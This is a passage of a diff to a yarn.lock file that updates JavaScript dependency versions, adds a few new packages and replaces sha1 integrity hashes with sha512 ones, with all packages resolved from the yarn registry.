@@ -2169,10 +2684,15 @@ matcher@^1.0.0:
   dependencies:
     escape-string-regexp "^1.0.4"
 
+math-intrinsics@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
+  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
+
 mem@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/mem/-/mem-1.1.0.tgz#5edd52b485ca1d900fe64895505399a0dfa45f76"
-  integrity sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=
+  integrity sha512-nOBDrc/wgpkd3X/JOhMqYR+/eLqlfLP4oQfoBA6QExIxEl+GU01oyEkwWyueyO8110pUKijtiHGhEmYoOn88oQ==
   dependencies:
     mimic-fn "^1.0.0"
 
@@ -2216,24 +2736,22 @@ mimic-fn@^1.0.0:
   resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-1.2.0.tgz#820c86a39334640e99516928bd03fca88057d022"
   integrity sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==
 
-minimatch@^3.0.2, minimatch@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
+minimatch@^3.0.2, minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
+  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
   dependencies:
     brace-expansion "^1.1.7"
 
-minimist@^1.2.0, minimist@^1.2.5:
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
-  integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
+minimist@^1.2.0, minimist@^1.2.6:
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
+  integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
 
-minipass@^3.1.1:
-  version "3.3.4"
-  resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.3.4.tgz#ca99f95dd77c43c7a76bf51e6d200025eee0ffae"
-  integrity sha512-I9WPbWHCGu8W+6k1ZiGpPu0GkoKBeorkfKNuAFBNS1HNFJvke82sxvI5bzcCNpWPorkOO5QQ+zomzzwRxejXiw==
-  dependencies:
-    yallist "^4.0.0"
+minipass@^7.0.3:
+  version "7.1.2"
+  resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707"
+  integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==
 
 mixin-deep@^1.2.0:
   version "1.3.2"
@@ -2244,26 +2762,26 @@ mixin-deep@^1.2.0:
     is-extendable "^1.0.1"
 
 mkdirp@^0.5.1:
-  version "0.5.5"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
-  integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
+  version "0.5.6"
+  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.6.tgz#7def03d2432dcae4ba1d611445c48396062255f6"
+  integrity sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==
   dependencies:
-    minimist "^1.2.5"
+    minimist "^1.2.6"
 
 ms@2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-  integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
+  integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==
 
-ms@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-  integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
+ms@^2.1.1, ms@^2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
 
 mute-stream@0.0.7:
   version "0.0.7"
   resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.7.tgz#3075ce93bc21b8fab43e1bc4da7e8115ed1e7bab"
-  integrity sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=
+  integrity sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ==
 
 nanomatch@^1.2.9:
   version "1.2.13"
@@ -2285,7 +2803,7 @@ nanomatch@^1.2.9:
 natural-compare@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
-  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
+  integrity sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==
 
 nice-try@^1.0.4:
   version "1.0.5"
@@ -2295,7 +2813,7 @@ nice-try@^1.0.4:
 nopt@~3.0.6:
   version "3.0.6"
   resolved "https://registry.yarnpkg.com/nopt/-/nopt-3.0.6.tgz#c6465dbf08abcd4db359317f79ac68a646b28ff9"
-  integrity sha1-xkZdvwirzU2zWTF/eaxopkayj/k=
+  integrity sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==
   dependencies:
     abbrev "1"
 
@@ -2319,14 +2837,14 @@ npm-path@^2.0.2:
 npm-run-path@^2.0.0:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
-  integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
+  integrity sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==
   dependencies:
     path-key "^2.0.0"
 
 npm-which@^3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/npm-which/-/npm-which-3.0.1.tgz#9225f26ec3a285c209cae67c3b11a6b4ab7140aa"
-  integrity sha1-kiXybsOihcIJyuZ8OxGmtKtxQKo=
+  integrity sha512-CM8vMpeFQ7MAPin0U3wzDhSGV0hMHNwHU0wjo402IVizPDrs45jSfSuoC+wThevY88LQti8VvaAnqYAeVy3I1A==
   dependencies:
     commander "^2.9.0"
     npm-path "^2.0.2"
@@ -2335,36 +2853,36 @@ npm-which@^3.0.1:
 number-is-nan@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/number-is-nan/-/number-is-nan-1.0.1.tgz#097b602b53422a522c1afb8790318336941a011d"
-  integrity sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=
+  integrity sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==
 
 object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1:
   version "4.1.1"
   resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-  integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
+  integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
 
 object-copy@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
-  integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
+  integrity sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==
   dependencies:
     copy-descriptor "^0.1.0"
     define-property "^0.2.5"
     kind-of "^3.0.3"
 
-object-inspect@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.7.0.tgz#f4f6bd181ad77f006b5ece60bd0b6f398ff74a67"
-  integrity sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==
+object-inspect@^1.13.3, object-inspect@^1.13.4:
+  version "1.13.4"
+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213"
+  integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
 
-object-is@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.1.2.tgz#c5d2e87ff9e119f78b7a088441519e2eec1573b6"
-  integrity sha512-5lHCz+0uufF6wZ7CRFWJN3hp8Jqblpgve06U5CMQ3f//6iDjPr2PEo9MWCjEssDsa+UZEL4PkFpr+BMop6aKzQ==
+object-is@^1.1.5:
+  version "1.1.6"
+  resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.1.6.tgz#1a6a53aed2dd8f7e6775ff870bea58545956ab07"
+  integrity sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.5"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
 
-object-keys@^1.0.11, object-keys@^1.0.12, object-keys@^1.1.1:
+object-keys@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
   integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
@@ -2372,68 +2890,79 @@ object-keys@^1.0.11, object-keys@^1.0.12, object-keys@^1.1.1:
 object-visit@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
-  integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
+  integrity sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==
   dependencies:
     isobject "^3.0.0"
 
-object.assign@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.0.tgz#968bf1100d7956bb3ca086f006f846b3bc4008da"
-  integrity sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==
+object.assign@^4.1.0, object.assign@^4.1.4, object.assign@^4.1.7:
+  version "4.1.7"
+  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz#8c14ca1a424c6a561b0bb2a22f66f5049a945d3d"
+  integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==
   dependencies:
-    define-properties "^1.1.2"
-    function-bind "^1.1.1"
-    has-symbols "^1.0.0"
-    object-keys "^1.0.11"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+    has-symbols "^1.1.0"
+    object-keys "^1.1.1"
 
-object.entries@^1.1.0, object.entries@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.1.tgz#ee1cf04153de02bb093fec33683900f57ce5399b"
-  integrity sha512-ilqR7BgdyZetJutmDPfXCDffGa0/Yzl2ivVNpbx/g4UeWrCdRnFDUBrKJGLhGieRHDATnyZXWBeCb29k9CJysQ==
+object.entries@^1.1.0, object.entries@^1.1.9:
+  version "1.1.9"
+  resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.9.tgz#e4770a6a1444afb61bd39f984018b5bede25f8b3"
+  integrity sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.0-next.1"
-    function-bind "^1.1.1"
-    has "^1.0.3"
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.1.1"
 
-object.fromentries@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.2.tgz#4a09c9b9bb3843dd0f89acdb517a794d4f355ac9"
-  integrity sha512-r3ZiBH7MQppDJVLx6fhD618GKNG40CZYH9wgwdhKxBDDbQgjeWGGd4AtkZad84d291YxvWe7bJGuE65Anh0dxQ==
+object.fromentries@^2.0.8:
+  version "2.0.8"
+  resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.8.tgz#f7195d8a9b97bd95cbc1999ea939ecd1a2b00c65"
+  integrity sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.0-next.1"
-    function-bind "^1.1.1"
-    has "^1.0.3"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+
+object.groupby@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/object.groupby/-/object.groupby-1.0.3.tgz#9b125c36238129f6f7b61954a1e7176148d5002e"
+  integrity sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
 
 object.pick@^1.3.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-  integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
+  integrity sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==
   dependencies:
     isobject "^3.0.1"
 
-object.values@^1.1.0, object.values@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.1.1.tgz#68a99ecde356b7e9295a3c5e0ce31dc8c953de5e"
-  integrity sha512-WTa54g2K8iu0kmS/us18jEmdv1a4Wi//BZ/DTVYEcH0XhLM5NYdpDHja3gt57VrZLcNAO2WGA+KpWsDBaHt6eA==
+object.values@^1.1.6, object.values@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.2.1.tgz#deed520a50809ff7f75a7cfd4bc64c7a038c6216"
+  integrity sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.0-next.1"
-    function-bind "^1.1.1"
-    has "^1.0.3"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
 
 once@^1.3.0, once@^1.3.1, once@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
+  integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
   dependencies:
     wrappy "1"
 
 onetime@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/onetime/-/onetime-2.0.1.tgz#067428230fd67443b2794b22bba528b6867962d4"
-  integrity sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=
+  integrity sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==
   dependencies:
     mimic-fn "^1.0.0"
 
@@ -2461,12 +2990,21 @@ os-locale@^2.0.0:
 os-tmpdir@~1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
-  integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
+  integrity sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==
+
+own-keys@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz#e4006910a2bf913585289676eebd6f390cf51358"
+  integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==
+  dependencies:
+    get-intrinsic "^1.2.6"
+    object-keys "^1.1.1"
+    safe-push-apply "^1.0.0"
 
 p-finally@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae"
-  integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=
+  integrity sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==
 
 p-limit@^1.1.0:
   version "1.3.0"
@@ -2485,7 +3023,7 @@ p-limit@^2.0.0:
 p-locate@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-2.0.0.tgz#20a0103b222a70c8fd39cc2e580680f3dde5ec43"
-  integrity sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=
+  integrity sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==
   dependencies:
     p-limit "^1.1.0"
 
@@ -2509,7 +3047,7 @@ p-map@^2.0.0:
 p-try@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/p-try/-/p-try-1.0.0.tgz#cbc79cdbaf8fd4228e13f621f2b1a237c1b207b3"
-  integrity sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=
+  integrity sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==
 
 p-try@^2.0.0:
   version "2.2.0"
@@ -2523,17 +3061,10 @@ parent-module@^1.0.0:
   dependencies:
     callsites "^3.0.0"
 
-parse-json@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-2.2.0.tgz#f480f40434ef80741f8469099f8dea18f55a4dc9"
-  integrity sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=
-  dependencies:
-    error-ex "^1.2.0"
-
 parse-json@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-4.0.0.tgz#be35f5425be1f7f6c747184f98a788cb99477ee0"
-  integrity sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=
+  integrity sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==
   dependencies:
     error-ex "^1.3.1"
     json-parse-better-errors "^1.0.1"
@@ -2541,68 +3072,59 @@ parse-json@^4.0.0:
 pascalcase@^0.1.1:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
-  integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
+  integrity sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==
 
 path-exists@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
-  integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=
+  integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==
 
 path-is-absolute@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
+  integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
 
 path-is-inside@^1.0.1, path-is-inside@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
-  integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=
+  integrity sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==
 
 path-key@^2.0.0, path-key@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-  integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
+  integrity sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==
 
-path-parse@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.6.tgz#d62dbb5679405d72c4737ec58600e9ddcf06d24c"
-  integrity sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==
+path-parse@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
+  integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
 
-path-type@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/path-type/-/path-type-2.0.0.tgz#f012ccb8415b7096fc2daa1054c3d72389594c73"
-  integrity sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=
-  dependencies:
-    pify "^2.0.0"
+picocolors@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
 
 pify@^2.0.0:
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
-  integrity sha1-7RQaasBDqEnqWISY59yosVMw6Qw=
+  integrity sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==
 
 pify@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"
-  integrity sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=
+  integrity sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==
 
 pinkie-promise@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/pinkie-promise/-/pinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa"
-  integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o=
+  integrity sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==
   dependencies:
     pinkie "^2.0.0"
 
 pinkie@^2.0.0:
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
-  integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
-
-pkg-dir@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-2.0.0.tgz#f6d5d1109e19d63edf428e0bd57e12777615334b"
-  integrity sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=
-  dependencies:
-    find-up "^2.1.0"
+  integrity sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==
 
 pkg-dir@^3.0.0:
   version "3.0.0"
@@ -2626,12 +3148,17 @@ pluralize@^7.0.0:
 posix-character-classes@^0.1.0:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
-  integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
+  integrity sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==
+
+possible-typed-array-names@^1.0.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz#93e3582bc0e5426586d9d07b79ee40fc841de4ae"
+  integrity sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==
 
 prelude-ls@~1.1.2:
   version "1.1.2"
